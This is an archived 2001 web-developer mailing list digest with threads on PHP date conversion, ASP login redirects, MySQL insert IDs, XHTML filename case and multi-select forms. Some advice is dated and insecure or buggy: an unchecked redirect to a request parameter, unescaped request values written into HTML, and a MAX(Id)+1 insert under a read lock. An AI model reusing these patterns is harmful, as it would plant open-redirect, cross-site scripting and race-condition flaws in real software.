>




From jmorehead at digitalims.com  Thu Sep 20 17:26:15 2001
From: jmorehead at digitalims.com (Jason Morehead)
Date: Thu Sep 20 17:26:15 2001
Subject: [thelist] e-mail validation w/ PHP
Message-ID: <a05001903b7d01cb3c8ca@[207.91.25.33]>

hey all...

i've been trying to implement a script using PHP that checks to see 
if an e-mail is actually capable getting e-mail.  i've found several 
examples (phpbuilder.com, zend.com), but have had a devil of a time 
getting them to work.  the best i've been able to accomplish is 
returning an error message, even though the account IS valid.

this is the first time i've worked with PHP's network functions 
(checkdnsrr, getmxrr, etc.) and i'm not having much luck.  are there 
any issues that i need to be aware of?  has anyone got one of these 
scripts to work successfully?  any help would be appreciated.  thanks 
much...

jason
-- 
digital ims - developer
http://www.DigitalIMS.com
(402) 437-0137



From mbarrett at triad.rr.com  Thu Sep 20 18:45:02 2001
From: mbarrett at triad.rr.com (Michael Barrett)
Date: Thu Sep 20 18:45:02 2001
Subject: [thelist] Virtual PC as a Windows testing environment in aMac
	World
In-Reply-To: <006501c14210$164d28f0$9865fea9@OFFICE>
Message-ID: <B7CFF634.7E11%mbarrett@triad.rr.com>

Thanks for all the input...


Now I can make an edumacated decision.

-- Michael Barrett
-O^O-
 - 

mbarrett at triad.rr.com
AIM: device55




From genghis at members.evolt.org  Thu Sep 20 19:34:14 2001
From: genghis at members.evolt.org (John Handelaar)
Date: Thu Sep 20 19:34:14 2001
Subject: Offlist: was RE: [thelist] Virtual PC as a Windows testing environment in aMac World
In-Reply-To: <B7CF9DEA.665D%chrisg@gsnet.com>
Message-ID: <EKECLALLPEHGEHLPBJBNAEGNCEAA.genghis@members.evolt.org>

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Chris George
> Sent: 20 September 2001 20:22
> To: thelist at lists.evolt.org
> Subject: Re: [thelist] Virtual PC as a Windows testing environment in
> aMac World
> 
> I have to say though, it completely ruins the look of my office - 
> I throw a
> nice blanket over it when company comes over.
> 
> "What's under there?"
> 
> "Oh, nothing, just junk for a garage sale...*"
> 
> :-)

Heh... my office has a nice 4-cubic-foot translucent 
blue doorstop since this afternoon.

"I ran out of IP addresses, and anyway while it was
in the other office we moved the desks around."

>:-)

------------------------------------------
John Handelaar

T +44 20 7209 4117       M +44 7930 681789
F +44 870 169 7657   E john at userfrenzy.com
------------------------------------------  



From genghis at members.evolt.org  Thu Sep 20 19:41:43 2001
From: genghis at members.evolt.org (John Handelaar)
Date: Thu Sep 20 19:41:43 2001
Subject: [thelist] e-mail validation w/ PHP
In-Reply-To: <a05001903b7d01cb3c8ca@[207.91.25.33]>
Message-ID: <EKECLALLPEHGEHLPBJBNIEGNCEAA.genghis@members.evolt.org>

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Jason Morehead
> Sent: 20 September 2001 23:27
> To: The List
> Subject: [thelist] e-mail validation w/ PHP
> 
> i've been trying to implement a script using PHP that checks to see 
> if an e-mail is actually capable getting e-mail.  i've found several 
> examples (phpbuilder.com, zend.com), but have had a devil of a time 
> getting them to work.  the best i've been able to accomplish is 
> returning an error message, even though the account IS valid.

There's a routine in the user registration section
of Geeklog (http://geeklog.sourceforge.net) which checks
for a valid MX record for whatever's to the right of the @ -
or at least there was.  And it worked for the most part.

Because this doesn't fly on NT systems (PHP is *really*
starting to break on Win32; every point release gets worse)
I think I got it removed :-)  but an older version has
a routine which works on *nix.  You're looking for version
1.1 and a file called user.php

GPL licensed code.

------------------------------------------
John Handelaar

T +44 20 7209 4117       M +44 7930 681789
F +44 870 169 7657   E john at userfrenzy.com
------------------------------------------  



From genghis at members.evolt.org  Thu Sep 20 19:46:29 2001
From: genghis at members.evolt.org (John Handelaar)
Date: Thu Sep 20 19:46:29 2001
Subject: [thelist] Oops
In-Reply-To: <EKECLALLPEHGEHLPBJBNAEGNCEAA.genghis@members.evolt.org>
Message-ID: <EKECLALLPEHGEHLPBJBNAEGOCEAA.genghis@members.evolt.org>

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of John Handelaar
> Sent: 21 September 2001 01:35
> To: thelist at lists.evolt.org
> Subject: Offlist: was RE: [thelist] Virtual PC as a Windows testing
> environment in aMac World
> 

Shit.  Thought that was offlist.  Apologies.

<tip type="cross-site scripting">
One way of synchronising authentication across
domains is to do it the MSN way, and have a single
script bounce a unique ID back to a second domain
where it's received as POST data.

http://www.newmediawhore.com/article.php?story=20010518172000930

I hope I haven't used that one before...
</tip>

------------------------------------------
John Handelaar

T +44 20 7209 4117       M +44 7930 681789
F +44 870 169 7657   E john at userfrenzy.com
------------------------------------------  



From nopun at bellsouth.net  Thu Sep 20 20:22:47 2001
From: nopun at bellsouth.net (Tyme)
Date: Thu Sep 20 20:22:47 2001
Subject: [thelist] HTML optimization advice, please
References: <897D2906DD5DD411B17500B0D03D9FB2C70021@directmail.opengrid.com>
Message-ID: <007001c1423c$30a86da0$7399fea9@tyme>

Sounds like a good alternative!  Now, what are the chances of me learing PHP
and converting all 400 files by Monday, Sept. 24th.

----- Original Message -----
From: Ray Hill <ray at opengrid.com>
To: <thelist at lists.evolt.org>
Sent: Thursday, September 20, 2001 2:45 PM
Subject: RE: [thelist] HTML optimization advice, please


> > TASK:
> > Optimize (for maintenance) the "Header" and "Footer" sections,
> > through SSI or other.
>
> APPROACH #3:
> Use PHP to print the header/footer content.  Since you can make the
printing
> of said content into a function, it would eliminate the need for 40
> different files, and could instead be just a switch statement within the
> function that prints different content depending on which sectionid you
pass
> it.
>
> You can configure your server to parse your existing .html files as PHP,
so
> you shouldn't have to change your file names.  And since PHP works on both
> IIS and Apache, porting it over to a different machine type in the future
> would not be a problem (and might actually be a benefit, since PHP runs
> faster as an Apache module).
>
> Something like this:
>
>
> SAMPLE_PAGE.HTML
> <?
> include "template.php";
> template_printHeader("ThisSectionID");
> ?>
>
> <!-- Content goes here -->
>
> <?
> template_printFooter("ThisSectionID");
> ?>
>
>
>
> TEMPLATE.PHP
> <?
> function template_printHeader($mySectionID) {
>   ?>
>   <html>
>   <head>
>     <?
>     switch ($mySectionID) {
>       case "SectionOne":
>         // Print content for this section here.
>         break;
>       case "SectionTwo":
>         // Print content for this section here.
>         break;
>       default:
>         // Print default section content here.
>         break;
>     }
>     ?>
>   </head>
>
>   <body bgcolor="#FFFFFF">
>
>   <!-- Formatting/navigation table goes here -->
>   <table border="" cellpadding="" cellspacing="">
>     <tr>
>       <td>
>   <?
> }
>
> function template_printFooter($mySectionID) {
>   ?>
>       </td>
>     </tr>
>   </table>
>
>   </body>
>   </html>
>   <?
> }
> ?>
>
>
>
> This also allows you to set other variables in the switch statement that
can
> be referred to further down in the individual documents' content.  And, of
> course, you can distill the navigation dropdowns into their own file
and/or
> function  and include them into the template file, to make it easier to
> manage.
>
>
> --ray






From eduardobk at via-rs.net  Thu Sep 20 23:27:06 2001
From: eduardobk at via-rs.net (Eduardo Bacchi Kienetz)
Date: Thu Sep 20 23:27:06 2001
Subject: [thelist] Converting date format with PHP
In-Reply-To: <20010920185036.47B8C97C@relay.evolt.org>
Message-ID: <4.3.2.7.2.20010921011752.00aa9940@pro.via-rs.com.br>

Howdy y'all

Well, going straight to the point:  I have a date that is typed by the user 
in the format dd/mm/yyyy, that is the user's birthdate (Brazilian date 
format). So my birthday date would be 31/03/1982 . The problem is that 
MySQL saves dates in the yyyy/mm/dd format, so I need to convert the birth 
date to MySQL's format.
Does anybody have a function?

Thank you in advance,

Eduardo Bacchi Kienetz
Webmaster www.camobi.com (hobby :)
Development/Support Dept. of ICONEWEB
www.iconeweb.com.br (the company I work for)




From beau at cubeinc.ca  Thu Sep 20 23:51:38 2001
From: beau at cubeinc.ca (Beau Hartshorne)
Date: Thu Sep 20 23:51:38 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
Message-ID: <000601c14259$21d1e190$79334d18@Dell8100>

Hi,

I am developing a login script. They hit login, which posts the info to
an Authentication script. If authenticated, I wanted users to be
Response.Redirect(ed) back to the page they were originally coming from
(the page they clicked the login link from), *querystring* and all. It
seems like Request.ServerVariables("HTTP_REFERER") is the best way to
find out where a user came from. My concern is that if someone comes
from another site, say Google, and goes directly to the login script
they will be redirected back to Google once they are authenticated. To
prevent this, my thinking was to check the string returned by
HTTP_REFERER and search for the site's domain. If the site's domain
(foobar.com) was found in the HTTP_REFERER string, then the script will
redirect users to the page they came from. If foobar.com was not found
in the HTTP_REFERER string, then they get redirected back to the site's
index.asp page.

Here's what a sample HTTP_REFERER string looks like:
http://www.foobar.com/news.asp?id=1

Is there a better way to do this?

The other question I had was about performance. I've got about 3-5
session variables (containing things like passwords, user names, error
messages, HTTP_REFERRER strings, etc). I expect that the site will peak
at around 5000 user sessions per hour once the site goes live. Will I
crush that poor shared Win2000 server with all those session variables?

I read one of rudy's old posts about Access database performance, and
it's made me confident that with that many users I shouldn't get more
than a few concurrent connections. I've been pretty careful about using
objConn.close and Set objConn = nothing when I'm done with the
connection object, but I haven't gone as far as storing everything into
two dimensional arrays instead of objRS objects. The database is
primarily used for a forum, which only peaks at around 2000 or so user
sessions an hour.

Thanks,

Beau




From ashcraft at 13monkeys.com  Thu Sep 20 23:57:43 2001
From: ashcraft at 13monkeys.com (Jeremy Ashcraft)
Date: Thu Sep 20 23:57:43 2001
Subject: [thelist] Converting date format with PHP
In-Reply-To: <4.3.2.7.2.20010921011752.00aa9940@pro.via-rs.com.br>
References: <4.3.2.7.2.20010921011752.00aa9940@pro.via-rs.com.br>
Message-ID: <01092023525900.31596@localhost.localdomain>

Try this on for size:

function format_date($datetime) {
 
    #match day/month/year hour:minute:seconds
    preg_match("/(\d+)\/(\d+)\/(\d+)/",$datetime,$match);

    #reformat date string
    $date = "$match[3]/$match[2]/$match[1]";
 
    return $date;
}

HTH

jeremy

On Thursday 20 September 2001 23:23, you wrote:
> Howdy y'all
>
> Well, going straight to the point:  I have a date that is typed by the user
> in the format dd/mm/yyyy, that is the user's birthdate (Brazilian date
> format). So my birthday date would be 31/03/1982 . The problem is that
> MySQL saves dates in the yyyy/mm/dd format, so I need to convert the birth
> date to MySQL's format.
> Does anybody have a function?



From beau at members.evolt.org  Fri Sep 21 00:04:08 2001
From: beau at members.evolt.org (Beau Hartshorne)
Date: Fri Sep 21 00:04:08 2001
Subject: [thelist] Converting date format with PHP
In-Reply-To: <4.3.2.7.2.20010921011752.00aa9940@pro.via-rs.com.br>
Message-ID: <000701c1425a$e14e9d00$79334d18@Dell8100>

Try this:

<?php
function changeDate ($inputDate) {
  $split = explode("/", $inputDate);
  $outputDate = "" . $split[2] . "/" . $split[1] . "/" . $split[0];
  Return $outputDate;
}
echo changeDate ("DD/MM/YYYY");
?>

That's just one of the many ways to change a date with php...

Cheers,

Beau

> Howdy y'all
> 
> Well, going straight to the point:  I have a date that is 
> typed by the user 
> in the format dd/mm/yyyy, that is the user's birthdate 
> (Brazilian date 
> format). So my birthday date would be 31/03/1982 . The 
> problem is that 
> MySQL saves dates in the yyyy/mm/dd format, so I need to 
> convert the birth 
> date to MySQL's format.
> Does anybody have a function?
> 
> Thank you in advance,
> 
> Eduardo Bacchi Kienetz
> Webmaster www.camobi.com (hobby :)
> Development/Support Dept. of ICONEWEB
> www.iconeweb.com.br (the company I work for)




From roselli at earthlink.net  Fri Sep 21 00:16:49 2001
From: roselli at earthlink.net (aardvark)
Date: Fri Sep 21 00:16:49 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
In-Reply-To: <000601c14259$21d1e190$79334d18@Dell8100>
Message-ID: <3BAA94C1.27785.1481408@localhost>

> From: "Beau Hartshorne" <beau at cubeinc.ca>
> 
> I am developing a login script. They hit login, which posts the info
> to an Authentication script. If authenticated, I wanted users to be
> Response.Redirect(ed) back to the page they were originally coming
> from (the page they clicked the login link from), *querystring* and
> all. It seems like Request.ServerVariables("HTTP_REFERER") is the best
> way to find out where a user came from. My concern is that if someone
> comes from another site, say Google, and goes directly to the login
> script they will be redirected back to Google once they are
> authenticated. To prevent this, my thinking was to check the string
> returned by HTTP_REFERER and search for the site's domain. If the
> site's domain (foobar.com) was found in the HTTP_REFERER string, then
> the script will redirect users to the page they came from. If
> foobar.com was not found in the HTTP_REFERER string, then they get
> redirected back to the site's index.asp page.
> 
> Here's what a sample HTTP_REFERER string looks like:
> http://www.foobar.com/news.asp?id=1
> 
> Is there a better way to do this?

the referrer is an imperfect way to implement this...

instead, i'd try writing the name/path of the current page into a 
hidden field in that form (if the form exists on every page, you could 
be done already)...

if the form exists on another page, pass that original path/file name 
as part of the query string, and then write it into a hidden field...

so (this is all pseudo-code):
<a href="/login.asp?frompage=<% = 
Request.ServerVariables("SCRIPT_NAME") %>

that links to your login page, which has this hidden field:

<input type="hidden" name="frompage" value="<% = 
Request("frompage") %>">

now, if you use response.redirect (although if you have the latest 
version of ASP, you should use the transfer method), you can 
process the form like so:

IF variable = "login" THEN
	response.redirect Request("frompage")
ELSE
	response.write "Loser"
END IF

play around, you can build the full URL, or just use the root-relative 
from SCRIPT_NAME and you should be fine...

> The other question I had was about performance. I've got about 3-5
> session variables (containing things like passwords, user names, error
> messages, HTTP_REFERRER strings, etc). I expect that the site will
> peak at around 5000 user sessions per hour once the site goes live.
> Will I crush that poor shared Win2000 server with all those session
> variables?

dunno, what are the specs?  how much you storing?  what else is 
happening on that box?  most likely you'll be fine...

> I read one of rudy's old posts about Access database performance, and
> it's made me confident that with that many users I shouldn't get more
> than a few concurrent connections. I've been pretty careful about
> using objConn.close and Set objConn = nothing when I'm done with the
> connection object, but I haven't gone as far as storing everything
> into two dimensional arrays instead of objRS objects. The database is
> primarily used for a forum, which only peaks at around 2000 or so user
> sessions an hour.

regardless of how well you manage your connections to Access, 
once the Access file itself gets reasonably large, it'll start to fail as 
a viable solution...

i've seen it chunk up at 2meg, and i've seen it chunk up at 12meg, 
but it doesn't take long if you have a lot of content....

just a thought...




From Anthony at Baratta.com  Fri Sep 21 00:39:30 2001
From: Anthony at Baratta.com (Anthony Baratta)
Date: Fri Sep 21 00:39:30 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
In-Reply-To: <000601c14259$21d1e190$79334d18@Dell8100>
Message-ID: <5.1.0.14.2.20010920222802.01b03d60@baratta.com>

First off you shouldn't have to worry about spiders. How can they get to 
your subscriber content if they can't login. (Plus the way I recommend to 
grab that data is not affect by referers.) Second, I'm not sure what you 
mean by "QueryString and all" since you mention they will be getting to the 
login page by clicking a link on the page. Also how big will your 
querystring be?

There are a few ways to tackle this:

One is to generate a login page when someone attempts to access "member 
only" content via a function call. This allows you to deal with the login 
"from within the called page" and gives you IMHO more flexibility than the 
redirect (option two) since you don't have to pass session variables or 
querystrings around.

Two is to redirect to a login script, but if you want to "get back" you 
need to pass enough informaiton to the login script to help it redirect 
back to the "calling" page. You can stuff this information into a Session 
Object for later retrieval using the Request.ServerVariables("SCRIPT_NAME") 
and Request.ServerVariables("QUERY_STRING") [which is my preferred method 
if I can't do option one] or by stuffing this information into a 
QueryString and handing it off to the login script.

Three is stuff all the information into a form and post to the login 
script. This is a little cleaner from a URL perspective but still not as 
clean as option one, IMHO.

HTH
---
Anthony Baratta
President
Keyboard Jockeys

"Conformity is the refuge of the unimaginative."




From mpember at phreaker.net  Fri Sep 21 00:55:27 2001
From: mpember at phreaker.net (Michael Pemberton)
Date: Fri Sep 21 00:55:27 2001
Subject: [thelist] Converting date format with PHP
References: <4.3.2.7.2.20010921011752.00aa9940@pro.via-rs.com.br>
Message-ID: <3BAAD61C.40B25D2A@phreaker.net>

I haven't done much work with with MySQL dates, but I think the
following process should work.

The data being recieved from the user is a string.

You can either:

	break it using a series of substr() calls

		or

	Use the strtotime() method to convert is into a PHP timestamp and then
	format this back into the required structure using the date() function.
	eg.  $today = date("Y/m/d"); // for example: 10/03/2001

Eduardo Bacchi Kienetz wrote:
> 
> Howdy y'all
> 
> Well, going straight to the point:  I have a date that is typed by the user
> in the format dd/mm/yyyy, that is the user's birthdate (Brazilian date
> format). So my birthday date would be 31/03/1982 . The problem is that
> MySQL saves dates in the yyyy/mm/dd format, so I need to convert the birth
> date to MySQL's format.
> Does anybody have a function?
> 
> Thank you in advance,
> 
> Eduardo Bacchi Kienetz
> Webmaster www.camobi.com (hobby :)
> Development/Support Dept. of ICONEWEB
> www.iconeweb.com.br (the company I work for)
> 
> ---------------------------------------
> For unsubscribe and other options, including
> the Tip Harvester and archive of TheList go to:
> http://lists.evolt.org Workers of the Web, evolt !

-- 
Michael Pemberton
mpember at phreaker.net
ICQ: 12107010





From beau at members.evolt.org  Fri Sep 21 03:41:34 2001
From: beau at members.evolt.org (Beau Hartshorne)
Date: Fri Sep 21 03:41:34 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
In-Reply-To: <5.1.0.14.2.20010920222802.01b03d60@baratta.com>
Message-ID: <000801c14279$41f7a7f0$79334d18@Dell8100>

Aardvark, Anthony thank you. This is what I think I should do:

Every page (except the login page) updates a Session object like so:

<%
Session.Contents("URL") = _
strRequest.ServerVariables("SCRIPT_NAME") + "?" _
+ Request.ServerVariables("QUERY_STRING")
%>

And on the authentication.asp page:

<%
If Session.Contents("URL") = Nothing Then
	Response.Redirect("index.asp")
Else
	Response.Redirect(Session.Contents("URL")
End If
%>




From andrew.chadwick at prnewswire.co.uk  Fri Sep 21 04:12:21 2001
From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick)
Date: Fri Sep 21 04:12:21 2001
Subject: [thelist] MySQL generated id
In-Reply-To: <3BAA39A9.B95E105A@avencom.com>
References: <5.1.0.14.0.20010920141711.00a9e8e0@tookish.net> <3BAA39A9.B95E105A@avencom.com>
Message-ID: <20010921101221.A30043@oit.net>

On Thu, Sep 20, 2001 at 11:47:05AM -0700, Joe Crawford wrote:
> noah wrote:
> > When I insert a new record into a MySQL table (via PHP), I use MySQL's
> > auto-increment to create a unique id number for that record. What I'd like
> > to do is immediately have access to the id number in PHP. I could use a
> > separate select statement, but since I don't know the unique id, I run the
> > risk of returning multiple records, rather than just the one I just inserted.
> > 
> > Is there anyway to immediately have access to the id number generated when
> > the record is inserted?
> 
> I believe mysql_insert_id() is a php function to do what you want --
> documentation here:
> http://www.php.net/manual/en/function.mysql-insert-id.php
> 
> I'm not sure if there's a native mysql way to do what you want though.
> :-\

You can almost do this in native MySQL by locking the table for writes
while you add the new record. You can use LAST_INSERT_ID() if your
field is auto_incrementing, but the general solution is:

  LOCK TABLES Animals READ; /* this assumes we're creating a complete
                             * record with a single
                             * insert statement */
  SELECT MAX(Id)+1 FROM Animals;
      /* ... and store it in scripting var $__id__ */
  INSERT INTO Animals
     SET Id=$__id__,
         Name="Fox",
         Colour="Brown",
         Speed="Quick";

  UNLOCK TABLES;

You have to store the ID in a scripting language variable, then
interpolate it into the INSERT statement. How that happens is
dependent on the scripting language you use, so I've left that bit
out.

Have a look at a MySQL manual for the difference between a READ and a
WRITE lock, and consider whether it's OK for other client processes to
be able to read a partial record.

-- 
Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford
--
The views or opinions above are solely mine and are not necessarily those
of PR Newswire Europe. The message may contain privileged or confidential
information; if you are not a named recipient, notify me, and do not copy,
use, or disclose this message. <andrew.chadwick at prnewswire.co.uk>.



From david.braun at centralnet.ch  Fri Sep 21 05:56:00 2001
From: david.braun at centralnet.ch (david braun)
Date: Fri Sep 21 05:56:00 2001
Subject: Offlist: was RE: [thelist] Virtual PC as a Windows testing environment in aMac World
In-Reply-To: <EKECLALLPEHGEHLPBJBNAEGNCEAA.genghis@members.evolt.org>
Message-ID: <20010921125620-r01010800-8a6c7e05-0910-0108@193.246.195.23>

[21.09.2001 - 1:35 Uhr]
John Handelaar wrote:

> Heh... my office has a nice 4-cubic-foot translucent 
> blue doorstop since this afternoon.
> 
> "I ran out of IP addresses, and anyway while it was
> in the other office we moved the desks around."
> 
Doesn't sound like win-box, though ; )
david



From mwarden at mattwarden.com  Fri Sep 21 06:08:28 2001
From: mwarden at mattwarden.com (Warden, Matt)
Date: Fri Sep 21 06:08:28 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
In-Reply-To: <000801c14279$41f7a7f0$79334d18@Dell8100>
Message-ID: <Pine.LNX.4.20.0109210703090.25459-100000@scooter.webservepro.com>

On Sep 21, Beau Hartshorne had something to say about RE: [thelist] ASP,...

>Every page (except the login page) updates a Session object like so:

I hate using sessions when I don't have to, but I guess you're trying to
avoid the messy querystring.

><%
>Session.Contents("URL") = _
>strRequest.ServerVariables("SCRIPT_NAME") + "?" _
>+ Request.ServerVariables("QUERY_STRING")

If you're ysing vbscript, those +'s should be &'s.

>%>
>
>And on the authentication.asp page:
>
><%
>If Session.Contents("URL") = Nothing Then

You'll be wanting to test against "" or Empty, not Nothing. Nothing is a
variable that held a released object. More info here:
http://evolt.org/article/sgd_uses_frontpage/17/346/index.html

>	Response.Redirect("index.asp")
>Else
>	Response.Redirect(Session.Contents("URL")
>End If
>%>

Rather than accessing Session.Contents twice, set that value to a local
variable and then access that variable twice. It's a bit faster.

Also, like aardvark said, if you're on IIS5/ASP3, use Server.Transfer, as
it is a server-side redirect rather than a HTTP 301 (or is it
302?) redirect.



hth,


--
mattwarden
mattwarden.com




From VillanoP at usachcs.army.mil  Fri Sep 21 08:41:01 2001
From: VillanoP at usachcs.army.mil (Villano, Paul)
Date: Fri Sep 21 08:41:01 2001
Subject: [thelist] Naming Conventions
Message-ID: <7788B27B9516634499F14B84C409B6906D6442@EXCH01.usachcs-emh1.army.mil>

I'm stumbling my way around xhtml for the first time with a bunch of
inherited files using frames, many of which use caps (JPGFrame1.html), etc.
I'm from the old school of "keep it all lower case and under 9 spaces"...Is
the lower case naming convention for .htm files still an issue?  (Please
tell me I don't have to go through several thousand files just to change
their case.)  Most if not all of my users will be on Windows machines.

Thanks in advance.

PAUL - "The term is over: the holidays have begun. The dream is ended: this
is the morning." And as He spoke He no longer looked to them like a lion.
(Aslan in "The Last Battle")



From tijs.teulings at framfab.nl  Fri Sep 21 08:45:51 2001
From: tijs.teulings at framfab.nl (Tijs Teulings)
Date: Fri Sep 21 08:45:51 2001
Subject: [thelist] Naming Conventions
Message-ID: <7C8749CFEC38D511B5BE00D0B7A7EAAF13E967@nlamsmail.nqff.nl>

"XHTML documents must use lower case for all HTML element and attribute
names. This difference is necessary because XML is case-sensitive e.g. <li>
and <LI> are different tags."

http://www.w3.org/TR/xhtml1/

//Tijs

> 
> I'm stumbling my way around xhtml for the first time with a bunch of
> inherited files using frames, many of which use caps 
> (JPGFrame1.html), etc.
> I'm from the old school of "keep it all lower case and under 
> 9 spaces"...Is
> the lower case naming convention for .htm files still an 
> issue?  (Please
> tell me I don't have to go through several thousand files 
> just to change
> their case.)  Most if not all of my users will be on Windows machines.
> 
> Thanks in advance.
> 



From tijs.teulings at framfab.nl  Fri Sep 21 08:53:31 2001
From: tijs.teulings at framfab.nl (Tijs Teulings)
Date: Fri Sep 21 08:53:31 2001
Subject: [thelist] Naming Conventions
Message-ID: <7C8749CFEC38D511B5BE00D0B7A7EAAF13E968@nlamsmail.nqff.nl>

sorry, misread your question. CAPS in filenames are not an issue anymore
unless your server is running on DOS or some pre 95 version of windows.

> 
> "XHTML documents must use lower case for all HTML element and 
> attribute
> names. This difference is necessary because XML is 
> case-sensitive e.g. <li>
> and <LI> are different tags."
> 
> http://www.w3.org/TR/xhtml1/
> 
> //Tijs
> 
> > 
> > I'm stumbling my way around xhtml for the first time with a bunch of
> > inherited files using frames, many of which use caps 
> > (JPGFrame1.html), etc.
> > I'm from the old school of "keep it all lower case and under 
> > 9 spaces"...Is
> > the lower case naming convention for .htm files still an 
> > issue?  (Please
> > tell me I don't have to go through several thousand files 
> > just to change
> > their case.)  Most if not all of my users will be on 
> Windows machines.
> > 
> > Thanks in advance.
> > 
> 
> ---------------------------------------
> For unsubscribe and other options, including
> the Tip Harvester and archive of TheList go to:
> http://lists.evolt.org Workers of the Web, evolt ! 
> 



From philippe at 123piano.com  Fri Sep 21 09:04:58 2001
From: philippe at 123piano.com (Philippe Jadin)
Date: Fri Sep 21 09:04:58 2001
Subject: [thelist] Naming Conventions
References: <7C8749CFEC38D511B5BE00D0B7A7EAAF13E968@nlamsmail.nqff.nl>
Message-ID: <3BAB497B.56F679A4@123piano.com>

Tijs Teulings wrote:
> 
> sorry, misread your question. CAPS in filenames are not an issue anymore
> unless your server is running on DOS or some pre 95 version of windows.

This said, it must be easy to convert all the files to lower case. This
will help the development :-)

Philippe



From andrew.chadwick at prnewswire.co.uk  Fri Sep 21 09:10:53 2001
From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick)
Date: Fri Sep 21 09:10:53 2001
Subject: [thelist] Naming Conventions
In-Reply-To: <7788B27B9516634499F14B84C409B6906D6442@EXCH01.usachcs-emh1.army.mil>
References: <7788B27B9516634499F14B84C409B6906D6442@EXCH01.usachcs-emh1.army.mil>
Message-ID: <20010921151053.B3348@oit.net>

On Fri, Sep 21, 2001 at 09:41:02AM -0400, Villano, Paul wrote:
> I'm stumbling my way around xhtml for the first time with a bunch of
> inherited files using frames, many of which use caps
> (JPGFrame1.html), etc.  I'm from the old school of "keep it all
> lower case and under 9 spaces"...Is the lower case naming convention
> for .htm files still an issue?

It depends on which operating system your web server runs, not which
dialect of HTML you're using. In XHTML,

  <a href="JPGFrame1.html">JPEG Frame One</a>

Only the "a", "/a", "href" are case-sensitive.

> (Please tell me I don't have to go through several thousand files
> just to change their case.)  Most if not all of my users will be on
> Windows machines.

If you're serving the docs over the web, the user's browser will send
back the URL to the server in whichever case you said in your href
attributes. What happens next is up to the server. As a rule of thumb,
Unix-based OSes are case-sensitive; the Mac OS, and all flavours of
DOS and NT-based OSes are case-insensitive.

If you're packaging the files for deploying directly on the user's
hard disk, then the user's OS matters (and if it's DOS or NT-based,
case doesn't :)


-- 
Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford
--
The views or opinions above are solely mine and are not necessarily those
of PR Newswire Europe. The message may contain privileged or confidential
information; if you are not a named recipient, notify me, and do not copy,
use, or disclose this message. <andrew.chadwick at prnewswire.co.uk>.



From roselli at earthlink.net  Fri Sep 21 09:21:42 2001
From: roselli at earthlink.net (aardvark)
Date: Fri Sep 21 09:21:42 2001
Subject: [thelist] ASP, HTTP_REFERRER, Session questions
In-Reply-To: <000801c14279$41f7a7f0$79334d18@Dell8100>
References: <5.1.0.14.2.20010920222802.01b03d60@baratta.com>
Message-ID: <200109211421.f8LELgZe007298@leo.evolt.org>

> From: "Beau Hartshorne" <beau at members.evolt.org>
>
> Aardvark, Anthony thank you. This is what I think I should do:
> 
> Every page (except the login page) updates a Session object like so:

while not a bad approach, just keep in mind that users without 
cookies enabled, as well as users who have their sessions expire 
(by walking away, working, etc.) will not benefit from this 
approach...

the reason i remanded the URL variable to the query string and 
hidden fields is because it's completely friendly for all browsers, as 
opposed to just cookied or sessioned (making up new words) 
browsers...




From MMcAtee at philamuseum.org  Fri Sep 21 09:48:45 2001
From: MMcAtee at philamuseum.org (McAtee, Malcolm)
Date: Fri Sep 21 09:48:45 2001
Subject: [thelist] Multiple Select??
Message-ID: <E40026A94B88D511B1D000508BC7413326B5EB@MAILHOST>

Howdy all.....

I am creating a form to be used in a simple PHP/email app. Everything seems
to be working well
except that my multiple select lists seem to pass only the first value in
the list. 
Please see the code below:



       <select name="Type_of_Event" size="6" multiple>
	  <option value="Dinner">Dinner</option>
	  <option value="Lunch">Lunch</option>
	  <option value="Breakfast">Breakfast</option>
	  <option value="Cocktail_Reception">Cocktail Reception</option>
	  <option value="Meeting">Meeting</option>
	  <option value="Other">Other</option>
	 </select>


Thanks Malcolm

//---------------//
Malcolm J. Mcatee
Web Designer
Philadelphia Museum of Art
215-684-7748
mmcatee at philamuseum.org
//---------------//








From andrew.chadwick at prnewswire.co.uk  Fri Sep 21 10:04:03 2001
From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick)
Date: Fri Sep 21 10:04:03 2001
Subject: [thelist] Multiple Select??
In-Reply-To: <E40026A94B88D511B1D000508BC7413326B5EB@MAILHOST>
References: <E40026A94B88D511B1D000508BC7413326B5EB@MAILHOST>
Message-ID: <20010921160404.A3671@oit.net>

On Fri, Sep 21, 2001 at 10:49:34AM -0300, McAtee, Malcolm wrote:

> I am creating a form to be used in a simple PHP/email
> app. Everything seems to be working well except that my multiple
> select lists seem to pass only the first value in the list.  Please
> see the code below:
> 
>        <select name="Type_of_Event" size="6" multiple>
[validating code snipped]

Looks fine to me - your HTML snippet validates to XHTML 1.0 Strict (if
you say multiple="multiple" :)

What happens in the URL line when you select more than one item and
hit submit? You should see something like:

   ...&Type_of_Event=Dinner&Type_of_Event=Meeting

-- 
Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford
--
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use, or disclose this message. <andrew.chadwick at prnewswire.co.uk>.



From div at newcode.se  Fri Sep 21 10:09:43 2001
From: div at newcode.se (Carl-Johan Kihlbom)
Date: Fri Sep 21 10:09:43 2001
Subject: [thelist] Multiple Select??
In-Reply-To: <20010921160404.A3671@oit.net>
Message-ID: <200109211515.f8LFFes11618@mail.space2u.com>

>
>> I am creating a form to be used in a simple PHP/email
>> app. Everything seems to be working well except that my multiple
>> select lists seem to pass only the first value in the list.  Please
>> see the code below:
>>
>>        <select name="Type_of_Event" size="6" multiple>

You should use <select name="Type_of_Event[]" size="6" multiple>. Then 
the values will be stored in the array $Type_ofEvent.

/ Carl-Johan



From logic010 at hotmail.com  Fri Sep 21 10:20:12 2001
From: logic010 at hotmail.com (luis valencia)
Date: Fri Sep 21 10:20:12 2001
